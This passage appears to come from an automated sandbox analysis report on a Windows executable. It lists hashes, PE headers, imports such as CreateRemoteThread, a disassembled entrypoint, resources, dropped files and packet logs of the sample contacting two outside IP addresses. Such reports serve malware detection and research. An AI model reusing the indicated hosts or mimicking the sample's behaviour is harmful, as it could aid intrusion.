Preview:	regfG...G...p.\..,.................. ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e...4............E.4............E.....5............E.rmtmr..8...................................................................................................................................................................................................................................................................................................................................................HvLE.N......G...............p.d....Vt...................... ..hbin................p.\..,..........nk,....8....... ........................... ...........................&...{ad79c032-a2ea-f756-e377-72fb9332c3ae}......nk ....8....... ........................... .......Z.......................Root........lf......Root....nk ....8................................... ..............................DeviceCensus.......................vk..................WritePermissionsCheck.......p...

\Device\ConDrv Download File
Process:	C:\Windows\SysWOW64\netsh.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3773
Entropy (8bit):	4.7109073551842435
Encrypted:	false
SSDEEP:	48:VHILZNfrI7WFY32iIiNOmV/HToZV9It199hiALlIg39bWA1RvTBi/g2eB:VoLr0y9iIiNOoHTou7bhBlIydWALLt2w
MD5:	DA3247A302D70819F10BCEEBAF400503
SHA1:	2857AA198EE76C86FC929CC3388A56D5FD051844
SHA-256:	5262E1EE394F329CD1F87EA31BA4A396C4A76EDC3A87612A179F81F21606ABC8
SHA-512:	48FFEC059B4E88F21C2AA4049B7D9E303C0C93D1AD771E405827149EDDF986A72EF49C0F6D8B70F5839DCDBD6B1EA8125C8B300134B7F71C47702B577AD090F8
Malicious:	false
Reputation:	unknown
Preview:	..A specified value is not valid.....Usage: add rule name=<string>.. dir=in\|out.. action=allow\|block\|bypass.. [program=<program path>].. [service=<service short name>\|any].. [description=<string>].. [enable=yes\|no (default=yes)].. [profile=public\|private\|domain\|any[,...]].. [localip=any\|<IPv4 address>\|<IPv6 address>\|<subnet>\|<range>\|<list>].. [remoteip=any\|localsubnet\|dns\|dhcp\|wins\|defaultgateway\|.. <IPv4 address>\|<IPv6 address>\|<subnet>\|<range>\|<list>].. [localport=0-65535\|<port range>[,...]\|RPC\|RPC-EPMap\|IPHTTPS\|any (default=any)].. [remoteport=0-65535\|<port range>[,...]\|any (default=any)].. [protocol=0-255\|icmpv4\|icmpv6\|icmpv4:type,code\|icmpv6:type,code\|.. tcp\|udp\|any (default=any)].. [interfacetype=wireless\|lan\|ras\|any].. [rmtcomputergrp=<SDDL string>].. [rmtusrgrp=<SDDL string>].. [edge=yes\|deferapp\|deferuser\|no (default=no)].. [security=authenticate\|authenc\|authdynenc\|authnoencap\|

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.673059487728374
TrID:	Win32 Executable (generic) a (10002005/4) 99.83% Windows Screen Saver (13104/52) 0.13% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	7NAzyCWRyM.exe
File size:	306176
MD5:	23dfe6757086dde5e8463811731f60c6
SHA1:	ae8b0843895df4e84caaaa4b97943f0254fde566
SHA256:	6c02cd3294f998736222c255ddd163b9d5e72dfbf3492bfdd43519a46ed609de
SHA512:	9cf141bda0defe3804f16ab660b72cdac0c3047554a3718c3929c9d91a8f02febe2a11f4ff45bf056fdcf83aa693db5d28367c1167b84147246a348224240fea
SSDEEP:	6144:obwyFbhyKuw30tIU0ZqZzqe6hG8hyxsI6:obP6U30tIU001qxhlymJ
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................... .......6......}..........}.....1.......!.......$.....Rich............PE..L.....]_...........................

File Icon


Icon Hash:	c8d0d8e0f8e0f4e0

Static PE Info

General
Entrypoint:	0x41c630
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x5F5D9C83 [Sun Sep 13 04:13:55 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	ee021d2bd5aa8c1011c1855beaf26731

Entrypoint Preview

Instruction
mov edi, edi
push ebp
mov ebp, esp
call 00007F861893B3DBh
call 00007F8618930BF6h
pop ebp
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov edi, edi
push ebp
mov ebp, esp
push FFFFFFFEh
push 0043A868h
push 00422650h
mov eax, dword ptr fs:[00000000h]
push eax
add esp, FFFFFF94h
push ebx
push esi
push edi
mov eax, dword ptr [0043D480h]
xor dword ptr [ebp-08h], eax
xor eax, ebp
push eax
lea eax, dword ptr [ebp-10h]
mov dword ptr fs:[00000000h], eax
mov dword ptr [ebp-18h], esp
mov dword ptr [ebp-70h], 00000000h
mov dword ptr [ebp-04h], 00000000h
lea eax, dword ptr [ebp-60h]
push eax
call dword ptr [004011D4h]
mov dword ptr [ebp-04h], FFFFFFFEh
jmp 00007F8618930C08h
mov eax, 00000001h
ret
mov esp, dword ptr [ebp-18h]
mov dword ptr [ebp-78h], 000000FFh
mov dword ptr [ebp-04h], FFFFFFFEh
mov eax, dword ptr [ebp-78h]
jmp 00007F8618930D37h
mov dword ptr [ebp-04h], FFFFFFFEh
call 00007F8618930D74h
mov dword ptr [ebp-6Ch], eax
push 00000001h
call 00007F861893C68Ah
add esp, 04h
test eax, eax
jne 00007F8618930BECh
push 0000001Ch
call 00007F8618930D2Ch
add esp, 04h
call 00007F861893BF84h
test eax, eax
jne 00007F8618930BECh
push 00000010h

Rich Headers

Programming Language:

[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[ASM] VS2008 build 21022
[LNK] VS2008 build 21022
[RES] VS2008 build 21022
[C++] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3afb4	0x28	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x54000	0x9018	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5e000	0x1b74	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1320	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x8a38	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x2d4	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x3b05e	0x3b200	False	0.586804637949	data	6.98943352023	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x3d000	0x12004	0x1400	False	0.197265625	data	2.17096052508	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.paf	0x50000	0x5	0x200	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.vos	0x51000	0x4b	0x200	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.muyes	0x52000	0xea	0x200	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.yomica	0x53000	0xd93	0xe00	False	0.00697544642857	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x54000	0x9018	0x9200	False	0.542781464041	data	5.55712288313	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x5e000	0x3a0c	0x3c00	False	0.379231770833	data	3.96485763476	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
CIDAFICUDUROSOTAROM	0x5a5b8	0x6c7	ASCII text, with very long lines, with no line terminators	Spanish	Colombia
RT_CURSOR	0x5ad90	0x130	data	Divehi; Dhivehi; Maldivian	Maldives
RT_CURSOR	0x5aed8	0x130	data	Divehi; Dhivehi; Maldivian	Maldives
RT_CURSOR	0x5b008	0xf0	data	Divehi; Dhivehi; Maldivian	Maldives
RT_CURSOR	0x5b0f8	0x10a8	dBase III DBT, version number 0, next free block index 40	Divehi; Dhivehi; Maldivian	Maldives
RT_ICON	0x546d0	0x6c8	data	Spanish	Colombia
RT_ICON	0x54d98	0x568	GLS_BINARY_LSB_FIRST	Spanish	Colombia
RT_ICON	0x55300	0x10a8	data	Spanish	Colombia
RT_ICON	0x563a8	0x988	dBase III DBT, version number 0, next free block index 40	Spanish	Colombia
RT_ICON	0x56d30	0x468	GLS_BINARY_LSB_FIRST	Spanish	Colombia
RT_ICON	0x571e8	0x8a8	data	Spanish	Colombia
RT_ICON	0x57a90	0x6c8	data	Spanish	Colombia
RT_ICON	0x58158	0x568	GLS_BINARY_LSB_FIRST	Spanish	Colombia
RT_ICON	0x586c0	0x10a8	data	Spanish	Colombia
RT_ICON	0x59768	0x988	data	Spanish	Colombia
RT_ICON	0x5a0f0	0x468	GLS_BINARY_LSB_FIRST	Spanish	Colombia
RT_STRING	0x5c1d0	0x6e	data	Divehi; Dhivehi; Maldivian	Maldives
RT_STRING	0x5c240	0x3ce	data	Divehi; Dhivehi; Maldivian	Maldives
RT_STRING	0x5c610	0x788	data	Divehi; Dhivehi; Maldivian	Maldives
RT_STRING	0x5cd98	0x1a0	data	Divehi; Dhivehi; Maldivian	Maldives
RT_STRING	0x5cf38	0xe0	data	Divehi; Dhivehi; Maldivian	Maldives
RT_ACCELERATOR	0x5acd8	0x78	data	Divehi; Dhivehi; Maldivian	Maldives
RT_ACCELERATOR	0x5ac80	0x58	data	Divehi; Dhivehi; Maldivian	Maldives
RT_GROUP_CURSOR	0x5aec0	0x14	data	Divehi; Dhivehi; Maldivian	Maldives
RT_GROUP_CURSOR	0x5c1a0	0x30	data	Divehi; Dhivehi; Maldivian	Maldives
RT_GROUP_ICON	0x57198	0x4c	data	Spanish	Colombia
RT_GROUP_ICON	0x5a558	0x5a	data	Spanish	Colombia
None	0x5ad60	0xa	data	Divehi; Dhivehi; Maldivian	Maldives
None	0x5ad70	0xa	data	Divehi; Dhivehi; Maldivian	Maldives
None	0x5ad50	0xa	data	Divehi; Dhivehi; Maldivian	Maldives
None	0x5ad80	0xa	data	Divehi; Dhivehi; Maldivian	Maldives

Imports

DLL

Import

KERNEL32.dll

CallNamedPipeA, TerminateThread, GetExitCodeProcess, GetVersionExA, GetConsoleCP, GetConsoleAliasesLengthW, CommConfigDialogA, FindFirstFileExA, GetDriveTypeA, FreeEnvironmentStringsA, GetProcessPriorityBoost, SetVolumeMountPointA, GetLongPathNameA, CopyFileW, TlsSetValue, SetConsoleCursorInfo, GlobalHandle, TzSpecificLocalTimeToSystemTime, FindAtomA, ReleaseSemaphore, GetNamedPipeHandleStateA, CreateMailslotW, BuildCommDCBAndTimeoutsA, VirtualProtect, GetModuleHandleA, LocalAlloc, TryEnterCriticalSection, GetCommandLineA, InterlockedExchange, GetCalendarInfoA, DeleteFileA, CreateActCtxA, CreateRemoteThread, CreateThread, GetPriorityClass, WritePrivateProfileStringW, GetProcessHeaps, GetProcessHeap, GlobalUnWire, ReadConsoleOutputCharacterW, GetStartupInfoA, GetDiskFreeSpaceExA, GetCPInfoExA, GetWindowsDirectoryA, GetSystemWow64DirectoryW, GetProfileStringA, WriteProfileSectionW, GetProfileStringW, GetLastError, GetStringTypeExA, DebugBreak, GetPrivateProfileSectionA, lstrcmpW, ReadFile, GetConsoleMode, GetThreadSelectorEntry, lstrcatA, CreateActCtxW, SetMailslotInfo, GetSystemTimeAdjustment, DefineDosDeviceW, EndUpdateResourceW, WriteConsoleA, GetPrivateProfileStructW, HeapLock, DisableThreadLibraryCalls, PeekConsoleInputW, GetTapeStatus, TransmitCommChar, WaitNamedPipeW, FindResourceExA, GetLocalTime, GetOverlappedResult, CreateSemaphoreW, SetThreadLocale, SetFileShortNameA, lstrcpyW, VerLanguageNameW, LockFile, GetConsoleAliasA, EnumDateFormatsW, ResetWriteWatch, GetNumberOfConsoleInputEvents, WriteConsoleOutputCharacterA, GetConsoleAliasExesLengthW, GetComputerNameW, HeapFree, LocalReAlloc, SetCommMask, SetEndOfFile, FindClose, PostQueuedCompletionStatus, AreFileApisANSI, SetWaitableTimer, EnumResourceNamesW, GetProcessTimes, FatalAppExitW, lstrcpynW, GetNamedPipeInfo, FillConsoleOutputCharacterW, GetCompressedFileSizeA, FindNextVolumeMountPointA, GetFullPathNameW, WriteProfileStringW, SetHandleCount, GlobalAddAtomA, TerminateJobObject, QueryDosDeviceW, InitializeCriticalSection, Process32FirstW, SetCurrentDirectoryA, GetBinaryTypeW, OpenMutexA, UnhandledExceptionFilter, SetUnhandledExceptionFilter, MoveFileA, RaiseException, GetStartupInfoW, HeapValidate, IsBadReadPtr, TerminateProcess, GetCurrentProcess, IsDebuggerPresent, GetModuleFileNameW, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, GetModuleHandleW, Sleep, InterlockedIncrement, InterlockedDecrement, GetProcAddress, ExitProcess, GetModuleFileNameA, WriteFile, GetStdHandle, GetFileType, QueryPerformanceCounter, GetTickCount, GetCurrentThreadId, GetCurrentProcessId, GetSystemTimeAsFileTime, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, TlsGetValue, TlsAlloc, TlsFree, SetLastError, HeapDestroy, HeapCreate, VirtualFree, HeapAlloc, HeapSize, HeapReAlloc, VirtualAlloc, GetACP, GetOEMCP, GetCPInfo, IsValidCodePage, SetFilePointer, WideCharToMultiByte, OutputDebugStringA, WriteConsoleW, OutputDebugStringW, LoadLibraryW, MultiByteToWideChar, RtlUnwind, InitializeCriticalSectionAndSpinCount, LoadLibraryA, LCMapStringA, LCMapStringW, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, SetStdHandle, GetConsoleOutputCP, FlushFileBuffers, CreateFileA, CloseHandle

Possible Origin

Language of compilation system	Country where language is spoken	Map
Spanish	Colombia
Divehi; Dhivehi; Maldivian	Maldives

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 6, 2022 21:03:44.397296906 CET	49778	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:44.568485022 CET	80	49778	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:44.568732023 CET	49778	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:44.569113016 CET	49778	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:44.569184065 CET	49778	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:44.740154982 CET	80	49778	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:45.118802071 CET	80	49778	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:45.118843079 CET	80	49778	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:45.119113922 CET	49778	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:45.119895935 CET	49778	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:45.150018930 CET	49779	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:45.291080952 CET	80	49778	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:45.326704979 CET	80	49779	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:45.326814890 CET	49779	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:45.326939106 CET	49779	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:45.332732916 CET	49779	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:45.503252983 CET	80	49779	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:45.508960009 CET	80	49779	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:45.884124994 CET	80	49779	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:45.884167910 CET	80	49779	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:45.884274960 CET	49779	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:45.884334087 CET	49779	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:45.912422895 CET	49780	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:46.060601950 CET	80	49779	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:46.084614992 CET	80	49780	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:46.084733009 CET	49780	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:46.084846020 CET	49780	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:46.084923029 CET	49780	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:46.256948948 CET	80	49780	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:46.256993055 CET	80	49780	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:46.635766029 CET	80	49780	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:46.635842085 CET	49780	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:46.636121988 CET	49780	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:46.808263063 CET	80	49780	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:46.933187008 CET	49781	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:47.111247063 CET	80	49781	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:47.111362934 CET	49781	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:47.111471891 CET	49781	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:47.112718105 CET	49781	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:47.289952993 CET	80	49781	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:47.290553093 CET	80	49781	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:47.676250935 CET	80	49781	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:47.676466942 CET	49781	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:47.676671028 CET	49781	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:47.704411030 CET	49782	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:47.857038975 CET	80	49781	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:47.883786917 CET	80	49782	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:47.884048939 CET	49782	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:47.884206057 CET	49782	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:47.884280920 CET	49782	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:48.063676119 CET	80	49782	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:48.063719988 CET	80	49782	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:48.440371037 CET	80	49782	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:48.440475941 CET	80	49782	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:48.440500975 CET	49782	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:48.440563917 CET	49782	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:48.470186949 CET	49783	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:48.619792938 CET	80	49782	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:48.649478912 CET	80	49783	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:48.649591923 CET	49783	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:48.649723053 CET	49783	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:48.649738073 CET	49783	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:48.828782082 CET	80	49783	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:48.828810930 CET	80	49783	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:49.212937117 CET	80	49783	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:49.214533091 CET	49783	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:49.214858055 CET	49783	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:49.251979113 CET	49785	80	192.168.2.4	185.186.142.166
Jan 6, 2022 21:03:49.308342934 CET	80	49785	185.186.142.166	192.168.2.4
Jan 6, 2022 21:03:49.394198895 CET	80	49783	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:49.815346003 CET	49785	80	192.168.2.4	185.186.142.166
Jan 6, 2022 21:03:49.870744944 CET	80	49785	185.186.142.166	192.168.2.4
Jan 6, 2022 21:03:50.377969027 CET	49785	80	192.168.2.4	185.186.142.166
Jan 6, 2022 21:03:50.433393955 CET	80	49785	185.186.142.166	192.168.2.4
Jan 6, 2022 21:03:50.467762947 CET	49787	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:50.645301104 CET	80	49787	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:50.645401955 CET	49787	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:50.645535946 CET	49787	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:50.645586967 CET	49787	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:50.823005915 CET	80	49787	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:51.205117941 CET	80	49787	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:51.205236912 CET	49787	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:51.205492020 CET	49787	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:51.233176947 CET	49788	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:51.382930040 CET	80	49787	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:51.404226065 CET	80	49788	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:51.404346943 CET	49788	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:51.404478073 CET	49788	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:51.404499054 CET	49788	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:51.575726986 CET	80	49788	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:51.956794024 CET	80	49788	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:51.956967115 CET	49788	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:51.957173109 CET	49788	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:51.985419035 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:52.128804922 CET	80	49788	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:52.161113977 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:52.161262035 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:52.161441088 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:52.380497932 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:52.698257923 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:52.698311090 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:52.698348999 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:52.698386908 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:52.698426008 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:52.698448896 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:52.698463917 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:52.698502064 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:52.698504925 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:52.698524952 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:52.698544025 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:52.698582888 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:52.698585033 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:52.698622942 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:52.701347113 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:52.875715017 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:52.875776052 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:52.875807047 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:52.875847101 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:52.875886917 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:52.875924110 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:52.875962973 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:52.876000881 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:52.876039982 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:52.876080036 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:52.876116037 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:52.876154900 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:52.876193047 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:52.876230955 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:52.876270056 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:52.876935959 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:52.876976013 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:52.877015114 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:52.877046108 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:52.877130032 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:52.877342939 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:52.881336927 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.053152084 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.053214073 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.053251982 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.053370953 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.053386927 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.053462982 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.053584099 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.053683996 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.053738117 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.053776979 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.053792000 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.053816080 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.053843975 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.053854942 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.053893089 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.053910971 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.053931952 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.053972960 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.054008007 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.054030895 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.054048061 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.054076910 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.054085970 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.054130077 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.054172039 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.054199934 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.054210901 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.054235935 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.054250002 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.054289103 CET	80	49789	198.11.172.78	192.168.2.4
Jan 6, 2022 21:03:53.054303885 CET	49789	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:03:53.054328918 CET	80	49789	198.11.172.78	192.168.2.4
